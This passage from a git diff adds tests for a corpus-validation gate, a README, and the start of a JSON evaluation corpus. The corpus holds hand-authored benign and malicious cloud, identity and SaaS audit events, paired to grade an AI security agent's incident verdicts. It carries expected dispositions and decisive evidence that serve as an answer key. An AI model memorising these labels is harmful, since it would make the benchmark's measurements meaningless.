tree) -> None:+ """The gate's floor is the scorer's floor. If they drifted apart, a+ corpus could pass here and be refused at the point of publication."""+ doc = _corpus()+ kept = 1+ for item in doc["decisions"]:+ if item["expected_disposition"] == "false_positive":+ if kept:+ kept -= 1+ continue+ item["expected_disposition"] = "benign"+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "under the 5% floor" in done.stderr+++class TestItRefusesTheOtherWaysTheCorpusCanRot:+ def test_a_benign_item_without_a_malicious_twin_fails(self, tree) -> None:+ doc = _corpus()+ for item in doc["decisions"]:+ if item["expected_disposition"] != "true_positive":+ item["twin_of"] = "VRD-NOT-A-REAL-ID"+ break+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "not in the corpus" in done.stderr++ def test_a_twin_pair_separable_on_something_other_than_evidence_fails(self, tree) -> None:+ """If the malicious half of a pair is always the more severe one, an+ agent scores well on severity alone and the corpus measures nothing."""+ doc = _corpus()+ for item in doc["decisions"]:+ if item["expected_disposition"] == "true_positive":+ item["severity"] = "critical"+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "shortcut an agent can take instead of reading" in done.stderr++ def test_an_item_with_no_licence_fails(self, tree) -> None:+ """'Refuse any source without a licence', in the plan's words."""+ doc = _corpus()+ doc["decisions"][0]["provenance"].pop("license")+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "A source without a licence is refused, not assumed" in done.stderr++ def test_a_non_redistributable_licence_fails(self, tree) -> None:+ doc = _corpus()+ doc["decisions"][0]["is_synthetic"] = False+ doc["decisions"][0]["provenance"].update({"source": "ctu-13", "license": "CC-BY-NC-SA-4.0"})+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "redistribution allow-list" in done.stderr++ def test_a_synthetic_item_claiming_real_provenance_fails(self, tree) -> None:+ """The binding honesty rule, enforced rather than documented. An+ invented event that names a dataset is the one failure mode a reader+ cannot detect for themselves."""+ doc = _corpus()+ doc["decisions"][0]["provenance"]["source"] = "a-real-customer-queue"+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "must not imply it came from somewhere" in done.stderr++ def test_a_routable_address_fails(self, tree) -> None:+ doc = _corpus()+ doc["decisions"][0]["evidence"]["sourceIPAddress"] = "8.8.8.8"+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "outside the RFC 5737 documentation" in done.stderr++ def test_a_header_count_drifting_from_the_body_fails(self, tree) -> None:+ """The README quotes these. A header nobody checks takes the+ documentation stale with it."""+ doc = _corpus()+ doc["synthetic_items"] = 40+ done = _run(tree(doc))+ assert done.returncode == 1+ assert "header says" in done.stderr+++class TestItRefusesToRenderAVerdictOnNothing:+ def test_a_tree_with_no_corpus_is_an_error_not_a_pass(self, tmp_path: Path) -> None:+ """Found nothing and scanned nothing print the same word unless the+ second one raises."""+ done = _run(tmp_path)+ assert done.returncode == 2+ assert "does not exist" in done.stderr++ def test_an_empty_decisions_list_is_an_error(self, tree) -> None:+ doc = _corpus()+ doc["decisions"] = []+ done = _run(tree(doc))+ assert done.returncode == 2+ assert "cannot measure anything" in done.stderr++ def test_malformed_json_is_an_error(self, tmp_path: Path) -> None:+ target = tmp_path / CORPUS_REL+ target.parent.mkdir(parents=True, exist_ok=True)+ target.write_text("{not json", encoding="utf-8")+ done = _run(tmp_path)+ assert done.returncode == 2+ assert "not valid JSON" in done.stderr+++class TestTheGateProvesItself:+ def test_the_self_test_passes(self) -> None:+ """One command answers "does this gate still detect what it claims",+ which is the point of running it before CI does."""+ done = subprocess.run( # noqa: S603 - fixed argv, no shell+ [sys.executable, str(GATE), "--self-test"],+ capture_output=True,+ text=True,+ check=False,+ cwd=ROOT,+ )+ assert done.returncode == 0, done.stdout + done.stderr+ assert "FAIL" not in done.stdoutdiff --git a/services/agents/tests/eval_data/verdict/README.md b/services/agents/tests/eval_data/verdict/README.mdnew file mode 100644index 000000000..0633973fa--- /dev/null+++ b/services/agents/tests/eval_data/verdict/README.md@@ -0,0 +1,212 @@+# The verdict corpus++A labelled set the scorer will accept, built so that **no constant answer can+score well on it**.++Depth plan 1.1. Everything else in `services/agents/tests/eval_data/` measures+MITRE mapping or response selection. Nothing in this tree could measure whether+the agent got the *verdict* right, because every labelled corpus here is+malicious by construction — `synthetic_incidents.json` and+`adversary_incidents.json` are 200 attacks each and carry no+`expected_disposition` at all. `scripts/score_replay_set.py` refuses both, and+it should keep refusing both. This file is the corpus it accepts instead.++---++## Honesty statement, first because it is the part that matters++**All 72 items are hand-authored. Zero are sourced from a recorded dataset.**++| | count |+|---|---|+| Items | 72 |+| Hand-authored, `is_synthetic: true` | **72 (100%)** |+| Drawn from a third-party dataset | **0** |++Every field value is invented. Every address is an RFC 5737 documentation+range and every name is an RFC 2606 reserved name. The field *names* follow+each vendor's published audit-log vocabulary so the items are shaped like real+telemetry, but no recorded event, from any dataset or any deployment, is+reproduced here. Nothing in this corpus may be described as real-world data.++The per-item `provenance` block says `"source": "hand-authored"` for all 72.+`scripts/check_verdict_corpus.py` refuses an item that is neither marked+synthetic nor carries a redistribution-permitting licence, so the moment a+sourced item is added it has to bring its licence with it.++### Why nothing was sourced++Not for want of looking. The register below is the honest answer, and the+licence is only the first filter — two of the five pass it.++| Candidate | Licence this repository records | Refused because |+|---|---|---|+| CICIDS-2017 (UNB) | research use; commercial use needs permission ([terms](https://www.unb.ca/cic/datasets/ids-2017.html)) | Not redistributable inside an MIT repository. Also network flows labelled `BENIGN`/attack, which is a traffic class and not an analyst disposition. |+| CTU-13 (Stratosphere Lab, CTU) | CC BY-NC-SA 4.0 | The non-commercial clause is incompatible with an MIT repository, and ShareAlike would relicense what it is combined with. |+| AIT Log Data Set V2 (AIT) | CC BY 4.0 — attribution required | **Licence is fine.** Refused on fit: Linux host and web-server logs from a simulated enterprise, no cloud, identity or SaaS control-plane events, labels mark attack phases rather than dispositions, and no benign case is paired to a malicious one on the same rule. |+| MITRE Engenuity ATT&CK Evaluations | attribution required; MITRE Engenuity states the evaluations do not rank vendors | **Licence is fine.** It publishes a detection category per procedure step, not telemetry. There is no verdict in it to label. |+| MITRE CAR (already imported under `detections/car-imports/`) | Apache-2.0 | Detection analytics, not events. No verdicts. |++The licence text above is quoted from this repository's own downloaders in+`scripts/datasets/`, which record the upstream terms. **None of these datasets+was fetched while building this corpus**, and none is redistributed here.++The structural problem is the one the fit column keeps pointing at. Item 1.1+needs three things at once: the four canonical dispositions an analyst closes+a finding as, cloud/identity/SaaS control-plane events, and a benign case+paired to a malicious one that differs *only* in the decisive evidence. No+public corpus carries any of the three, because public attack-telemetry+datasets are recordings of attacks — the benign half of a real queue is+exactly the part nobody publishes, since it is full of their own employees.+Pairing a recorded malicious event against a hand-authored benign twin would+also be worse than pairing two hand-authored ones: the two halves would differ+in field vocabulary, formatting and verbosity, and an agent could separate+them on that instead of on the evidence.++So: hand-authored, said plainly, with the gate ready for the day a suitable+licensed source appears.++---++## What is in it++72 items in **36 twin pairs**. Each pair is one non-malicious item and one+malicious item that fired **the same rule** with **the same severity** and+**the same title**, and differ in the evidence.++### Class balance++| Disposition | Items | Share | What a constant answer of this scores |+|---|---|---|---|+| `true_positive` | 36 | **50.0%** | 0.500 |+| `benign` | 18 | 25.0% | 0.250 |+| `benign_true_positive` | 10 | 13.9% | 0.139 |+| `false_positive` | 8 | 11.1% | 0.111 |++The plan's bar is that no class exceeds 60%, so that a constant answer cannot+score above 60%. The largest class holds 50.0% and that is exactly what+answering `true_positive` to all 72 scores — measured, not asserted, by+`services/agents/tests/test_verdict_corpus.py`. The smallest class holds 11.1%,+comfortably over the 5% floor `score_replay_set.assert_gradeable` enforces.++36 malicious items clears `MIN_MALICIOUS_FOR_HEADLINE = 30`, so a report over+this corpus prints a headline accuracy rather than withholding it.++### Source mix++**52 of 72 items (72.2%)** come from cloud, identity and SaaS sources — the+plan asks for at least half, because that is where this repository's corpus+was thinnest. All ten sources the plan names are present.++| Family | Items | Vendors |+|---|---|---|+| cloud | 20 | `aws_cloudtrail`, `aws_guardduty`, `gcp_audit`, `azure_activity`, `kubernetes_audit` |+| saas | 20 | `google_workspace`, `m365`, `github`, `slack` |+| identity | 12 | `entra_id`, `okta` |+| endpoint | 10 | `crowdstrike`, `windows_security`, `linux_auditd` |+| network | 6 | `palo_alto`, `zscaler`, `fortinet_vpn` |+| email | 2 | `email_security` |+| database | 2 | `postgres_audit` |++### The benign half is what a real queue is full of++Every non-malicious item carries a `benign_archetype`, and all six the plan+names are covered.++| Archetype | Items | Example |+|---|---|---|+| `admin_bulk_change` | 12 | 38 S3 bucket policies rewritten by the infrastructure pipeline — all of them *tightening* access |+| `ci_service_account` | 7 | the release bot force-pushing its own generated lockfile branch |+| `break_glass_with_ticket` | 6 | an on-call engineer in a payments pod under a 60-minute binding, incident id in the impersonation reason |+| `scanner_or_security_tooling` | 5 | 1,400 failed authentications from the booked vulnerability scanner |+| `travel_sign_in` | 3 | two countries 40 minutes apart, same device id, second address is the corporate VPN egress |+| `backup_job` | 3 | 180,000 files touched overnight, read-only, no extension changed, no shadow copy deleted |++### Severity carries no signal, deliberately++A corpus where the attacks are `critical` and the noise is `low` is separable+on severity alone, and would measure nothing. Because twins share their+severity and the pairing is strictly one to one, the two distributions are+**identical**: 19 high, 12 medium, 5 critical on each side. The gate asserts it.++---++## Fields++| Field | Meaning |+|---|---|+| `id`, `pair_id`, `twin_of` | identity and the pairing, reciprocal in both directions |+| `expected_disposition` | the analyst's label, one of the four in `GRADED_DISPOSITIONS` |+| `labelled` | always `true`; `score_replay` grades only labelled rows |+| `is_synthetic` | always `true` in this version |+| `family`, `vendor`, `rule_id` | the source slice; `score_replay` segments by `vendor` and `rule_id` |+| `title`, `severity` | the rule's own output, identical across a pair |+| `expected_techniques` | ATT&CK ids, for the MITRE axis |+| `benign_archetype` | non-malicious items only |+| `decisive_evidence` | the analyst's reason, in prose |+| `evidence` | the facts the agent is given |+| `provenance` | source, licence, and who authored it |++### Do not give the model `decisive_evidence`++It states the answer. Feeding it to the agent would make every number measured+on this corpus meaningless. The corpus declares the hold-out set in its own+header:++```json+"held_out_from_the_model": [+ "expected_disposition", "decisive_evidence", "benign_archetype",+ "twin_of", "pair_id"+]+```++A harness reading this corpus should pass `evidence`, `title`, `severity`,+`vendor` and `rule_id` to the agent, and nothing else.++---++## Running it++The corpus is shaped so `score_replay_set.py` reads it directly — the item list+is under `decisions` and every row carries `labelled: true`:++```bash+python3 scripts/score_replay_set.py \+ --decisions services/agents/tests/eval_data/verdict/verdict_corpus_v1.json \+ --model <model id> --dataset aisoc-verdict-v1 --synthetic+```++With no agent run attached, every item has no `verdict` and is scored as an+abstention, so the report reads 72 labelled, 0 answered, 100% abstained. That+is the correct reading of a corpus with no run against it, and it demonstrates+the thing 1.1 asks for: **the scorer accepts this corpus**. Attach an agent's+verdicts to each row to get a graded report.++Two existing behaviours this corpus must not disturb, both pinned by tests:++* `scripts/score_replay_set.py` still **refuses** `synthetic_incidents.json`+ and `adversary_incidents.json` — `scripts/tests/test_score_replay_set.py`.+* The benchmark corpus still separates four reference agents —+ `packages/aisoc-benchmark/tests/test_corpus_can_grade.py`.++## The gate++`scripts/check_verdict_corpus.py` runs on every pull request. It refuses:++1. a class above 60%, or a minority class below the scorer's 5% floor;+2. fewer than half the items from cloud, identity and SaaS, or any of the ten+ named sources missing;+3. a non-malicious item with no malicious twin, a twin that is not reciprocal,+ or a pair that differs in rule, vendor, family, severity or title rather+ than in its evidence;+4. an item with no provenance block, or one that is neither `is_synthetic` nor+ carrying a licence from the redistribution allowlist;+5. a routable address, or an email or link outside the RFC 2606 reserved names;+6. header counts that disagree with the body — so this document and the data+ cannot drift apart;+7. severity distributions that differ between the malicious and non-malicious+ halves.++`python3 scripts/check_verdict_corpus.py --self-test` injects one violation of+each rule into a copy of the real corpus and requires the gate to catch every+one, then proves the gate refuses a tree with no corpus in it at all.diff --git a/services/agents/tests/eval_data/verdict/verdict_corpus_v1.json b/services/agents/tests/eval_data/verdict/verdict_corpus_v1.jsonnew file mode 100644index 000000000..2f116e38f--- /dev/null+++ b/services/agents/tests/eval_data/verdict/verdict_corpus_v1.json@@ -0,0 +1,1998 @@+{+ "corpus_id": "aisoc-verdict-v1",+ "version": 1,+ "authored_at": "2026-10-07",+ "items": 72,+ "pairs": 36,+ "synthetic_items": 72,+ "sourced_items": 0,+ "sourced_datasets": [],+ "documentation": "services/agents/tests/eval_data/verdict/README.md",+ "honesty": "Every item in this file is hand-authored and carries is_synthetic: true. No recorded telemetry from any dataset is included, and no item claims otherwise. The refused-source register in the README names every public corpus considered and why each was not used.",+ "held_out_from_the_model": [+ "expected_disposition",+ "decisive_evidence",+ "benign_archetype",+ "twin_of",+ "pair_id"+ ],+ "held_out_note": "A grader reads these. A model must not. `decisive_evidence` states the analyst's reason for the verdict, so feeding it to the agent would make every measurement taken on this corpus meaningless.",+ "decisions": [+ {+ "id": "VRD-AWS-01-B",+ "pair_id": "VRD-AWS-01",+ "twin_of": "VRD-AWS-01-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-breakglass-role-assumption",+ "title": "Break-glass administrative role assumed",+ "severity": "high",+ "expected_techniques": ["T1078.004"],+ "benign_archetype": "break_glass_with_ticket",+ "decisive_evidence": "An approved change ticket covers the window, MFA was satisfied, the source address sits inside the corporate egress range, and every call in the session is the reboot the ticket authorises or a read supporting it.",+ "evidence": {+ "eventName": "AssumeRole",+ "roleArn": "arn:aws:iam::210987654321:role/OrganizationAccountAccessRole",+ "principal": "[email protected]",+ "mfaAuthenticated": true,+ "sourceIPAddress": "198.51.100.17",+ "sourceIpOwner": "corporate egress range 198.51.100.0/27",+ "changeTicket": "CHG-20261003-0412",+ "ticketState": "approved 14 minutes before the assumption, window 02:00-04:00Z",+ "sessionDurationSeconds": 3180,+ "actionsInSession": ["DescribeInstances", "RebootInstances", "DescribeAlarms"]+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-01-M",+ "pair_id": "VRD-AWS-01",+ "twin_of": "VRD-AWS-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-breakglass-role-assumption",+ "title": "Break-glass administrative role assumed",+ "severity": "high",+ "expected_techniques": ["T1078.004"],+ "decisive_evidence": "No ticket exists, MFA was not satisfied, the address belongs to a hosting provider never seen for this principal, and the session minted a long-lived access key, attached an administrative policy and stopped the trail.",+ "evidence": {+ "eventName": "AssumeRole",+ "roleArn": "arn:aws:iam::210987654321:role/OrganizationAccountAccessRole",+ "principal": "[email protected]",+ "mfaAuthenticated": false,+ "sourceIPAddress": "203.0.113.88",+ "sourceIpOwner": "hosting provider ASN, first observation for this principal",+ "changeTicket": null,+ "sessionDurationSeconds": 3600,+ "actionsInSession": ["CreateAccessKey", "AttachUserPolicy", "StopLogging"]+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-02-B",+ "pair_id": "VRD-AWS-02",+ "twin_of": "VRD-AWS-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-bulk-bucket-policy-change",+ "title": "Many S3 bucket policies rewritten in one window",+ "severity": "medium",+ "expected_techniques": ["T1530"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The caller is the infrastructure pipeline role, every call carries the same pipeline run id, and the direction of travel is restrictive: thirty-eight buckets gained a public access block they did not have.",+ "evidence": {+ "eventName": "PutBucketPolicy",+ "callCount": 38,+ "windowSeconds": 142,+ "principal": "arn:aws:iam::210987654321:role/terraform-ci",+ "userAgent": "aws-sdk-go/1.55.5 APN/1.0 HashiCorp/1.0 Terraform/1.9.8",+ "pipelineRunId": "pipeline-run-8841",+ "sourceIPAddress": "198.51.100.33",+ "policyDelta": "PublicAccessBlockConfiguration set to BlockPublicAcls=true on 38 of 38 buckets",+ "wildcardPrincipalsAfter": 0+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-02-M",+ "pair_id": "VRD-AWS-02",+ "twin_of": "VRD-AWS-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-bulk-bucket-policy-change",+ "title": "Many S3 bucket policies rewritten in one window",+ "severity": "medium",+ "expected_techniques": ["T1530"],+ "decisive_evidence": "The direction of travel is permissive, not restrictive: the public access block was removed and a wildcard principal added. The caller is a long-lived user access key, not the pipeline role, and there is no pipeline run id.",+ "evidence": {+ "eventName": "PutBucketPolicy",+ "callCount": 38,+ "windowSeconds": 151,+ "principal": "arn:aws:iam::210987654321:user/reporting-export",+ "userAgent": "aws-cli/2.17.0 Python/3.11.9",+ "pipelineRunId": null,+ "sourceIPAddress": "203.0.113.41",+ "policyDelta": "PublicAccessBlockConfiguration removed on 38 of 38 buckets; Principal \"*\" granted s3:GetObject",+ "wildcardPrincipalsAfter": 38+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-03-B",+ "pair_id": "VRD-AWS-03",+ "twin_of": "VRD-AWS-03-M",+ "expected_disposition": "false_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_guardduty",+ "rule_id": "cloud-aws-ec2-command-and-control-dns",+ "title": "EC2 instance queried a command-and-control domain",+ "severity": "high",+ "expected_techniques": ["T1071.004"],+ "benign_archetype": "scanner_or_security_tooling",+ "decisive_evidence": "The queried name resolves to the organisation's own DNS sinkhole, which is what the protective DNS service returns for a blocked lookup. The rule matched the sinkhole answer, so the finding describes a block that worked rather than a channel that opened.",+ "evidence": {+ "findingType": "Backdoor:EC2/C&CActivity.B!DNS",+ "instanceId": "i-0a1b2c3d4e5f60718",+ "queriedDomain": "blocked-lookup.sinkhole.example.com",+ "resolvedTo": "192.0.2.1",+ "resolverOwner": "organisation protective DNS, sinkhole address 192.0.2.1",+ "egressBytesAfterQuery": 0,+ "tcpSessionsEstablished": 0,+ "repeatCount": 1+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-03-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-03-M",+ "pair_id": "VRD-AWS-03",+ "twin_of": "VRD-AWS-03-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_guardduty",+ "rule_id": "cloud-aws-ec2-command-and-control-dns",+ "title": "EC2 instance queried a command-and-control domain",+ "severity": "high",+ "expected_techniques": ["T1071.004"],+ "decisive_evidence": "The name resolved to a reachable address rather than the sinkhole, sessions were established, and bytes left the instance on a regular cadence with jitter.",+ "evidence": {+ "findingType": "Backdoor:EC2/C&CActivity.B!DNS",+ "instanceId": "i-0a1b2c3d4e5f60718",+ "queriedDomain": "cdn-metrics-77.example.net",+ "resolvedTo": "203.0.113.164",+ "resolverOwner": "upstream resolver, no sinkhole answer",+ "egressBytesAfterQuery": 418332,+ "tcpSessionsEstablished": 96,+ "repeatCount": 96,+ "intervalSeconds": "300 +/- 18 over nine hours"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-03-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-04-B",+ "pair_id": "VRD-AWS-04",+ "twin_of": "VRD-AWS-04-M",+ "expected_disposition": "benign_true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-trail-logging-stopped",+ "title": "CloudTrail logging stopped",+ "severity": "critical",+ "expected_techniques": ["T1562.008"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "A replacement organisation trail was created ninety seconds earlier and is already delivering, so logging never lapsed. The change carries a ticket and the caller is the platform role that owns the trail.",+ "evidence": {+ "eventName": "StopLogging",+ "trailName": "legacy-account-trail",+ "principal": "arn:aws:iam::210987654321:role/platform-logging",+ "sourceIPAddress": "198.51.100.33",+ "changeTicket": "CHG-20261001-0188",+ "precedingEvent": "CreateTrail org-wide-trail at T-90s, IsOrganizationTrail=true",+ "replacementDeliveringAtStop": true,+ "subsequentDeleteTrail": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-04-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AWS-04-M",+ "pair_id": "VRD-AWS-04",+ "twin_of": "VRD-AWS-04-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "aws_cloudtrail",+ "rule_id": "cloud-aws-trail-logging-stopped",+ "title": "CloudTrail logging stopped",+ "severity": "critical",+ "expected_techniques": ["T1562.008"],+ "decisive_evidence": "No replacement trail exists, the trail was deleted four minutes later, and the calling principal was granted AdministratorAccess eleven minutes before the stop.",+ "evidence": {+ "eventName": "StopLogging",+ "trailName": "org-wide-trail",+ "principal": "arn:aws:iam::210987654321:user/svc-reporting",+ "sourceIPAddress": "203.0.113.41",+ "changeTicket": null,+ "precedingEvent": "AttachUserPolicy AdministratorAccess at T-11m",+ "replacementDeliveringAtStop": false,+ "subsequentDeleteTrail": true+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AWS-04-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GCP-01-B",+ "pair_id": "VRD-GCP-01",+ "twin_of": "VRD-GCP-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "gcp_audit",+ "rule_id": "cloud-gcp-service-account-key-created",+ "title": "Service account key created",+ "severity": "medium",+ "expected_techniques": ["T1098.001"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The caller is the scheduled rotation workload identity, it created a key for the service account it owns, and it deleted the previous key eight seconds later. The account holds a single narrow role.",+ "evidence": {+ "methodName": "google.iam.admin.v1.CreateServiceAccountKey",+ "principalEmail": "[email protected]",+ "targetServiceAccount": "[email protected]",+ "callerIdentityType": "workload identity pool, scheduled job",+ "scheduleMatch": "rotation window Sunday 01:00-01:15Z, 11 prior runs",+ "followedBy": "google.iam.admin.v1.DeleteServiceAccountKey on the previous key, T+8s",+ "targetRoles": ["roles/run.invoker"],+ "callerIp": "198.51.100.90"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GCP-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GCP-01-M",+ "pair_id": "VRD-GCP-01",+ "twin_of": "VRD-GCP-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "gcp_audit",+ "rule_id": "cloud-gcp-service-account-key-created",+ "title": "Service account key created",+ "severity": "medium",+ "expected_techniques": ["T1098.001"],+ "decisive_evidence": "A human principal minted a key for an account it does not own, that account holds roles/owner, no previous key was deleted, and the key was used from a different network eleven minutes later.",+ "evidence": {+ "methodName": "google.iam.admin.v1.CreateServiceAccountKey",+ "principalEmail": "[email protected]",+ "targetServiceAccount": "[email protected]",+ "callerIdentityType": "user, no prior IAM write in 180 days",+ "scheduleMatch": null,+ "followedBy": "no key deletion; key authenticated from 203.0.113.202 at T+11m",+ "targetRoles": ["roles/owner"],+ "callerIp": "203.0.113.77"+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GCP-01-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GCP-02-B",+ "pair_id": "VRD-GCP-02",+ "twin_of": "VRD-GCP-02-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "gcp_audit",+ "rule_id": "cloud-gcp-firewall-exposure-change",+ "title": "VPC firewall rule changed on a management port",+ "severity": "high",+ "expected_techniques": ["T1562.007"],+ "benign_archetype": "admin_bulk_change",+ "decisive_evidence": "The rule was narrowed, not widened: the source range went from the whole internet to a single jump host. The change carries a ticket and the caller is the network team's group.",+ "evidence": {+ "methodName": "v1.compute.firewalls.patch",+ "ruleName": "allow-ssh-management",+ "sourceRangesBefore": ["0.0.0.0/0"],+ "sourceRangesAfter": ["198.51.100.4/32"],+ "ports": ["tcp:22"],+ "principalEmail": "[email protected]",+ "changeTicket": "CHG-20260929-0077",+ "priority": 1000+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GCP-02-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-GCP-02-M",+ "pair_id": "VRD-GCP-02",+ "twin_of": "VRD-GCP-02-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "gcp_audit",+ "rule_id": "cloud-gcp-firewall-exposure-change",+ "title": "VPC firewall rule changed on a management port",+ "severity": "high",+ "expected_techniques": ["T1562.007"],+ "decisive_evidence": "A new rule opens RDP to the whole internet at a priority that beats the deny rule, and its name mimics an existing rule by one character so a reviewer scanning the list would not see it.",+ "evidence": {+ "methodName": "v1.compute.firewalls.insert",+ "ruleName": "allow-ssh-managment",+ "sourceRangesBefore": [],+ "sourceRangesAfter": ["0.0.0.0/0"],+ "ports": ["tcp:3389"],+ "principalEmail": "[email protected]",+ "changeTicket": null,+ "priority": 100,+ "existingDenyRulePriority": 900+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-GCP-02-M", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AZ-01-B",+ "pair_id": "VRD-AZ-01",+ "twin_of": "VRD-AZ-01-M",+ "expected_disposition": "benign",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "azure_activity",+ "rule_id": "cloud-azure-keyvault-bulk-secret-read",+ "title": "Many Key Vault secrets read in a short window",+ "severity": "medium",+ "expected_techniques": ["T1555.006"],+ "benign_archetype": "ci_service_account",+ "decisive_evidence": "The reader is the cluster workload identity, the twenty-four secrets are the ones its own deployment manifest mounts, the calls come from the cluster subnet, and the pattern matches every pod start for ninety days.",+ "evidence": {+ "operationName": "SecretGet",+ "secretCount": 24,+ "windowSeconds": 6,+ "vaults": ["kv-payments-prod"],+ "identity": "workload identity aks-payments-sa",+ "callerIpAddress": "10.42.7.19",+ "callerNetwork": "AKS node subnet 10.42.0.0/16",+ "priorOccurrences": "every pod start for 90 days, same 24 secret names",+ "subsequentVaultDelete": false+ },+ "provenance": {"source": "hand-authored", "source_id": "VRD-AZ-01-B", "license": "MIT", "license_url": "https://github.com/beenuar/AiSOC/blob/main/LICENSE", "authored_at": "2026-10-07", "authored_by": "aisoc-verdict-corpus-v1", "note": "Invented event in the vendor's published audit-log shape. No recorded telemetry was used."}+ },+ {+ "id": "VRD-AZ-01-M",+ "pair_id": "VRD-AZ-01",+ "twin_of": "VRD-AZ-01-B",+ "expected_disposition": "true_positive",+ "labelled": true,+ "is_synthetic": true,+ "family": "cloud",+ "vendor": "azure_activity",+ "rule_id": "cloud-azure-keyvault-bulk-secret-read",+ "title": "Many Key Vault secrets read in a short window",+ "severity": "medium",+ "expected_techniques": ["T1555.006"],+ "decisive_evidence": "A user principal read across four vaults it has never touched, from an unmanaged device outside the 